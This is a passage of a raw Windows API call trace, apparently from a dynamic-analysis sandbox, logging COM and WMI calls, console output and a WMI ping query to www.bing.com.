[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0138.588] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0138.588] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0138.588] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097e0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0138.588] WbemStatusCodeText:IUnknown:Release (This=0x5d097e0) returned 0x2 [0138.588] WbemStatusCodeText:IUnknown:Release (This=0x5d097e0) returned 0x1 [0138.588] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0138.588] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0138.588] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097e0, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d097e0) returned 0x0 [0138.588] WbemStatusCodeText:IUnknown:AddRef (This=0x5d097e0) returned 0x3 [0138.588] WbemStatusCodeText:IUnknown:Release (This=0x5d097e0) returned 0x2 [0138.588] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d097e0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0138.589] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.590] GetConsoleOutputCP () returned 0x1b5 [0138.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0138.590] GetConsoleOutputCP () returned 0x1b5 [0138.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0138.590] GetConsoleOutputCP () returned 0x1b5 [0138.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0138.590] GetConsoleOutputCP () returned 0x1b5 [0138.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0138.590] GetConsoleOutputCP () returned 0x1b5 [0138.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0138.591] GetConsoleOutputCP () returned 0x1b5 [0138.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0138.591] GetConsoleOutputCP () returned 0x1b5 [0138.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0138.591] GetConsoleOutputCP () returned 0x1b5 [0138.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0138.591] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fea90 | out: lpConsoleScreenBufferInfo=0x59fea90) returned 1 [0138.591] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea88 | out: lpMode=0x59fea88) returned 1 [0138.592] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2859d34*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59fea7c, lpReserved=0x0 | out: lpBuffer=0x2859d34*, lpNumberOfCharsWritten=0x59fea7c*=0x4f) returned 1 [0138.592] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea88 | out: lpMode=0x59fea88) returned 1 [0138.592] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282a04c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59fea7c, lpReserved=0x0 | out: lpBuffer=0x282a04c*, lpNumberOfCharsWritten=0x59fea7c*=0x2) returned 1 [0138.593] CoGetContextToken (in: pToken=0x59fec8c | out: pToken=0x59fec8c) returned 0x0 [0138.593] IEnumWbemClassObject:Clone (in: This=0x6c07b0, ppEnum=0x59fee44 | out: ppEnum=0x59fee44*=0x6c0940) returned 0x0 [0138.659] IUnknown:QueryInterface (in: This=0x6c0940, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed00 | out: ppvObject=0x59fed00*=0x6c0944) returned 0x0 [0138.659] IClientSecurity:QueryBlanket (in: This=0x6c0944, pProxy=0x6c0940, pAuthnSvc=0x59fed50, pAuthzSvc=0x59fed4c, pServerPrincName=0x59fed44, pAuthnLevel=0x59fed48, pImpLevel=0x59fed38, pAuthInfo=0x59fed3c, pCapabilites=0x59fed40 | out: pAuthnSvc=0x59fed50*=0xa, pAuthzSvc=0x59fed4c*=0x0, pServerPrincName=0x59fed44, pAuthnLevel=0x59fed48*=0x6, pImpLevel=0x59fed38*=0x2, pAuthInfo=0x59fed3c, pCapabilites=0x59fed40*=0x1) returned 0x0 [0138.659] IUnknown:Release (This=0x6c0944) returned 0x1 [0138.659] IUnknown:QueryInterface (in: This=0x6c0940, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fecf4 | out: ppvObject=0x59fecf4*=0x721144) returned 0x0 [0138.659] IUnknown:QueryInterface (in: This=0x6c0940, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fece0 | out: ppvObject=0x59fece0*=0x6c0944) returned 0x0 [0138.659] IClientSecurity:SetBlanket (This=0x6c0944, pProxy=0x6c0940, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0138.845] IUnknown:Release (This=0x6c0944) returned 0x2 [0138.845] WbemLocator:IUnknown:Release (This=0x721144) returned 0x1 [0138.845] CoTaskMemFree (pv=0x5cea180) [0138.845] IUnknown:AddRef (This=0x6c0940) returned 0x2 [0138.846] CoGetContextToken (in: pToken=0x59fe210 | out: pToken=0x59fe210) returned 0x0 [0138.846] CoGetContextToken (in: pToken=0x59fe624 | out: pToken=0x59fe624) returned 0x0 [0138.846] IUnknown:QueryInterface (in: This=0x6c0940, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe5bc | out: ppvObject=0x59fe5bc*=0x72112c) returned 0x0 [0138.846] WbemLocator:IRpcOptions:Query (in: This=0x72112c, pPrx=0x5cf6cf8, dwProperty=2, pdwValue=0x59fe6b0 | out: pdwValue=0x59fe6b0) returned 0x80004002 [0138.846] WbemLocator:IUnknown:Release (This=0x72112c) returned 0x2 [0138.846] CoGetContextToken (in: pToken=0x59febf4 | out: pToken=0x59febf4) returned 0x0 [0138.846] CoGetContextToken (in: pToken=0x59feb54 | out: pToken=0x59feb54) returned 0x0 [0138.846] IUnknown:QueryInterface (in: This=0x6c0940, riid=0x59fec24*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59feaf0 | out: ppvObject=0x59feaf0*=0x6c0940) returned 0x0 [0138.846] IUnknown:Release (This=0x6c0940) returned 0x2 [0138.847] SysStringLen (param_1=0x0) returned 0x0 [0138.847] IEnumWbemClassObject:Reset (This=0x6c0940) returned 0x0 [0138.868] CoTaskMemAlloc (cb=0x4) returned 0x5d09810 [0138.868] IEnumWbemClassObject:Next (in: This=0x6c0940, lTimeout=-1, uCount=0x1, apObjects=0x5d09810, puReturned=0x2859e18 | out: apObjects=0x5d09810*=0x5cfa430, puReturned=0x2859e18*=0x1) returned 0x0 [0138.874] IUnknown:QueryInterface (in: This=0x5cfa430, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe49c | out: ppvObject=0x59fe49c*=0x5cfa430) returned 0x0 [0138.874] IUnknown:QueryInterface (in: This=0x5cfa430, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe450 | out: ppvObject=0x59fe450*=0x0) returned 0x80004002 [0138.874] IUnknown:QueryInterface (in: This=0x5cfa430, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe278 | out: ppvObject=0x59fe278*=0x0) returned 0x80004002 [0138.874] IUnknown:AddRef (This=0x5cfa430) returned 0x3 [0138.874] IUnknown:QueryInterface (in: This=0x5cfa430, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fddac | out: ppvObject=0x59fddac*=0x0) returned 0x80004002 [0138.875] IUnknown:QueryInterface (in: This=0x5cfa430, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdd5c | out: ppvObject=0x59fdd5c*=0x0) returned 0x80004002 [0138.875] IUnknown:QueryInterface (in: This=0x5cfa430, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdd68 | out: ppvObject=0x59fdd68*=0x5cfa434) returned 0x0 [0138.875] IMarshal:GetUnmarshalClass (in: This=0x5cfa434, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59fdd70 | out: pCid=0x59fdd70*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0138.875] IUnknown:Release (This=0x5cfa434) returned 0x3 [0138.875] CoGetContextToken (in: pToken=0x59fddc8 | out: pToken=0x59fddc8) returned 0x0 [0138.875] CoGetContextToken (in: pToken=0x59fe1dc | out: pToken=0x59fe1dc) returned 0x0 [0138.875] IUnknown:QueryInterface (in: This=0x5cfa430, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe25c | out: ppvObject=0x59fe25c*=0x0) returned 0x80004002 [0138.875] IUnknown:Release (This=0x5cfa430) returned 0x2 [0138.875] CoGetContextToken (in: pToken=0x59fe7c4 | out: pToken=0x59fe7c4) returned 0x0 [0138.875] CoGetContextToken (in: pToken=0x59fe724 | out: pToken=0x59fe724) returned 0x0 [0138.875] IUnknown:QueryInterface (in: This=0x5cfa430, riid=0x59fe7f4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59fe7f0 | out: ppvObject=0x59fe7f0*=0x5cfa430) returned 0x0 [0138.875] IUnknown:AddRef (This=0x5cfa430) returned 0x4 [0138.875] IUnknown:Release (This=0x5cfa430) returned 0x3 [0138.875] IUnknown:Release (This=0x5cfa430) returned 0x2 [0138.875] CoTaskMemFree (pv=0x5d09810) [0138.876] CoGetContextToken (in: pToken=0x59feb34 | out: pToken=0x59feb34) returned 0x0 [0138.876] IUnknown:AddRef (This=0x5cfa430) returned 0x3 [0138.876] CoTaskMemAlloc (cb=0x4) returned 0x5d09810 [0138.876] IEnumWbemClassObject:Next (in: This=0x6c0940, lTimeout=-1, uCount=0x1, apObjects=0x5d09810, puReturned=0x2859e18 | out: apObjects=0x5d09810*=0x0, puReturned=0x2859e18*=0x0) returned 0x1 [0138.881] CoTaskMemFree (pv=0x5d09810) [0139.924] CoTaskMemAlloc (cb=0x4) returned 0x5d09810 [0139.925] IEnumWbemClassObject:Next (in: This=0x6c0878, lTimeout=-1, uCount=0x1, apObjects=0x5d09810, puReturned=0x282bef8 | out: apObjects=0x5d09810*=0x0, puReturned=0x282bef8*=0x0) returned 0x1 [0139.928] CoTaskMemFree (pv=0x5d09810) [0139.928] CoGetContextToken (in: pToken=0x59fed78 | out: pToken=0x59fed78) returned 0x0 [0139.928] IUnknown:Release (This=0x6c0878) returned 0x1 [0139.928] IUnknown:Release (This=0x6c0878) returned 0x0 [0139.935] CoGetContextToken (in: pToken=0x59fed78 | out: pToken=0x59fed78) returned 0x0 [0139.935] IUnknown:Release (This=0x6c07b0) returned 0x1 [0139.935] IUnknown:Release (This=0x6c07b0) returned 0x0 [0139.938] CoGetContextToken (in: pToken=0x59feb6c | out: pToken=0x59feb6c) returned 0x0 [0139.938] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0139.938] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0139.938] CoUnmarshalInterface (in: pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59feac0 | out: ppv=0x59feac0*=0x720c94) returned 0x0 [0139.939] CoMarshalInterface (pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x720c94, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0139.940] WbemLocator:IUnknown:QueryInterface (in: This=0x720c94, riid=0x59feb9c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x59feb98 | out: ppvObject=0x59feb98*=0x74f480) returned 0x0 [0139.940] WbemLocator:IUnknown:Release (This=0x720c94) returned 0x1 [0139.941] IWbemServices:ExecQuery (in: This=0x74f480, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.bing.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x59fedfc | out: ppEnum=0x59fedfc*=0x6c07b0) returned 0x0 [0139.963] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febcc | out: ppvObject=0x59febcc*=0x6c07b4) returned 0x0 [0139.963] IClientSecurity:QueryBlanket (in: This=0x6c07b4, pProxy=0x6c07b0, pAuthnSvc=0x59fec1c, pAuthzSvc=0x59fec18, pServerPrincName=0x59fec10, pAuthnLevel=0x59fec14, pImpLevel=0x59fec04, pAuthInfo=0x59fec08, pCapabilites=0x59fec0c | out: pAuthnSvc=0x59fec1c*=0xa, pAuthzSvc=0x59fec18*=0x0, pServerPrincName=0x59fec10, pAuthnLevel=0x59fec14*=0x6, pImpLevel=0x59fec04*=0x2, pAuthInfo=0x59fec08, pCapabilites=0x59fec0c*=0x1) returned 0x0 [0139.963] IUnknown:Release (This=0x6c07b4) returned 0x1 [0139.963] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febc0 | out: ppvObject=0x59febc0*=0x720ab4) returned 0x0 [0139.963] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febac | out: ppvObject=0x59febac*=0x6c07b4) returned 0x0 [0139.963] IClientSecurity:SetBlanket (This=0x6c07b4, pProxy=0x6c07b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.010] IUnknown:Release (This=0x6c07b4) returned 0x2 [0140.010] WbemLocator:IUnknown:Release (This=0x720ab4) returned 0x1 [0140.010] CoTaskMemFree (pv=0x5cd32e8) [0140.010] IUnknown:AddRef (This=0x6c07b0) returned 0x2 [0140.010] CoGetContextToken (in: pToken=0x59fe0ec | out: pToken=0x59fe0ec) returned 0x0 [0140.011] CoGetContextToken (in: pToken=0x59fe4fc | out: pToken=0x59fe4fc) returned 0x0 [0140.011] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe498 | out: ppvObject=0x59fe498*=0x720a9c) returned 0x0 [0140.011] WbemLocator:IRpcOptions:Query (in: This=0x720a9c, pPrx=0x5cdb390, dwProperty=2, pdwValue=0x59fe58c | out: pdwValue=0x59fe58c) returned 0x80004002 [0140.011] WbemLocator:IUnknown:Release (This=0x720a9c) returned 0x2 [0140.011] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0140.011] CoGetContextToken (in: pToken=0x59fea2c | out: pToken=0x59fea2c) returned 0x0 [0140.011] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x59feafc*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59fe9c8 | out: ppvObject=0x59fe9c8*=0x6c07b0) returned 0x0 [0140.011] IUnknown:Release (This=0x6c07b0) returned 0x2 [0140.012] WbemLocator:IUnknown:Release (This=0x74f480) returned 0x0 [0140.012] SysStringLen (param_1=0x0) returned 0x0 [0140.012] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fee48 | out: puCount=0x59fee48*=0x2) returned 0x0 [0140.013] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee44*=0x0, pszText=0x0 | out: puBuffLength=0x59fee44*=0xf, pszText=0x0) returned 0x0 [0140.013] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee44*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fee44*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.013] CoGetContextToken (in: pToken=0x59fec9c | out: pToken=0x59fec9c) returned 0x0 [0140.013] IEnumWbemClassObject:Clone (in: This=0x6c07b0, ppEnum=0x59fee54 | out: ppEnum=0x59fee54*=0x6c0878) returned 0x0 [0140.024] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed10 | out: ppvObject=0x59fed10*=0x6c087c) returned 0x0 [0140.024] IClientSecurity:QueryBlanket (in: This=0x6c087c, pProxy=0x6c0878, pAuthnSvc=0x59fed60, pAuthzSvc=0x59fed5c, pServerPrincName=0x59fed54, pAuthnLevel=0x59fed58, pImpLevel=0x59fed48, pAuthInfo=0x59fed4c, pCapabilites=0x59fed50 | out: pAuthnSvc=0x59fed60*=0xa, pAuthzSvc=0x59fed5c*=0x0, pServerPrincName=0x59fed54, pAuthnLevel=0x59fed58*=0x6, pImpLevel=0x59fed48*=0x2, pAuthInfo=0x59fed4c, pCapabilites=0x59fed50*=0x1) returned 0x0 [0140.024] IUnknown:Release (This=0x6c087c) returned 0x1 [0140.024] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed04 | out: ppvObject=0x59fed04*=0x720c94) returned 0x0 [0140.024] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fecf0 | out: ppvObject=0x59fecf0*=0x6c087c) returned 0x0 [0140.024] IClientSecurity:SetBlanket (This=0x6c087c, pProxy=0x6c0878, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.038] IUnknown:Release (This=0x6c087c) returned 0x2 [0140.038] WbemLocator:IUnknown:Release (This=0x720c94) returned 0x1 [0140.038] CoTaskMemFree (pv=0x5cd3288) [0140.038] IUnknown:AddRef (This=0x6c0878) returned 0x2 [0140.039] CoGetContextToken (in: pToken=0x59fe220 | out: pToken=0x59fe220) returned 0x0 [0140.039] CoGetContextToken (in: pToken=0x59fe634 | out: pToken=0x59fe634) returned 0x0 [0140.039] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe5cc | out: ppvObject=0x59fe5cc*=0x720c7c) returned 0x0 [0140.039] WbemLocator:IRpcOptions:Query (in: This=0x720c7c, pPrx=0x5cdb408, dwProperty=2, pdwValue=0x59fe6c0 | out: pdwValue=0x59fe6c0) returned 0x80004002 [0140.039] WbemLocator:IUnknown:Release (This=0x720c7c) returned 0x2 [0140.039] CoGetContextToken (in: pToken=0x59fec04 | out: pToken=0x59fec04) returned 0x0 [0140.039] CoGetContextToken (in: pToken=0x59feb64 | out: pToken=0x59feb64) returned 0x0 [0140.039] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x59fec34*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59feb00 | out: ppvObject=0x59feb00*=0x6c0878) returned 0x0 [0140.040] IUnknown:Release (This=0x6c0878) returned 0x2 [0140.040] SysStringLen (param_1=0x0) returned 0x0 [0140.040] IEnumWbemClassObject:Reset (This=0x6c0878) returned 0x0 [0140.083] CoTaskMemAlloc (cb=0x4) returned 0x5d09870 [0140.083] IEnumWbemClassObject:Next (in: This=0x6c0878, lTimeout=-1, uCount=0x1, apObjects=0x5d09870, puReturned=0x285a4e0 | out: apObjects=0x5d09870*=0x5ccc608, puReturned=0x285a4e0*=0x1) returned 0x0 [0140.133] IUnknown:QueryInterface (in: This=0x5ccc608, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe4ac | out: ppvObject=0x59fe4ac*=0x5ccc608) returned 0x0 [0140.133] IUnknown:QueryInterface (in: This=0x5ccc608, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe460 | out: ppvObject=0x59fe460*=0x0) returned 0x80004002 [0140.133] IUnknown:QueryInterface (in: This=0x5ccc608, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe288 | out: ppvObject=0x59fe288*=0x0) returned 0x80004002 [0140.133] IUnknown:AddRef (This=0x5ccc608) returned 0x3 [0140.133] IUnknown:QueryInterface (in: This=0x5ccc608, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fddbc | out: ppvObject=0x59fddbc*=0x0) returned 0x80004002 [0140.134] IUnknown:QueryInterface (in: This=0x5ccc608, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdd6c | out: ppvObject=0x59fdd6c*=0x0) returned 0x80004002 [0140.134] IUnknown:QueryInterface (in: This=0x5ccc608, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdd78 | out: ppvObject=0x59fdd78*=0x5ccc60c) returned 0x0 [0140.134] IMarshal:GetUnmarshalClass (in: This=0x5ccc60c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59fdd80 | out: pCid=0x59fdd80*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0140.134] IUnknown:Release (This=0x5ccc60c) returned 0x3 [0140.134] CoGetContextToken (in: pToken=0x59fddd8 | out: pToken=0x59fddd8) returned 0x0 [0140.134] CoGetContextToken (in: pToken=0x59fe1ec | out: pToken=0x59fe1ec) returned 0x0 [0140.134] IUnknown:QueryInterface (in: This=0x5ccc608, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe26c | out: ppvObject=0x59fe26c*=0x0) returned 0x80004002 [0140.134] IUnknown:Release (This=0x5ccc608) returned 0x2 [0140.134] CoGetContextToken (in: pToken=0x59fe7d4 | out: pToken=0x59fe7d4) returned 0x0 [0140.134] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0140.134] IUnknown:QueryInterface (in: This=0x5ccc608, riid=0x59fe804*(Data1=0xdc12a681, 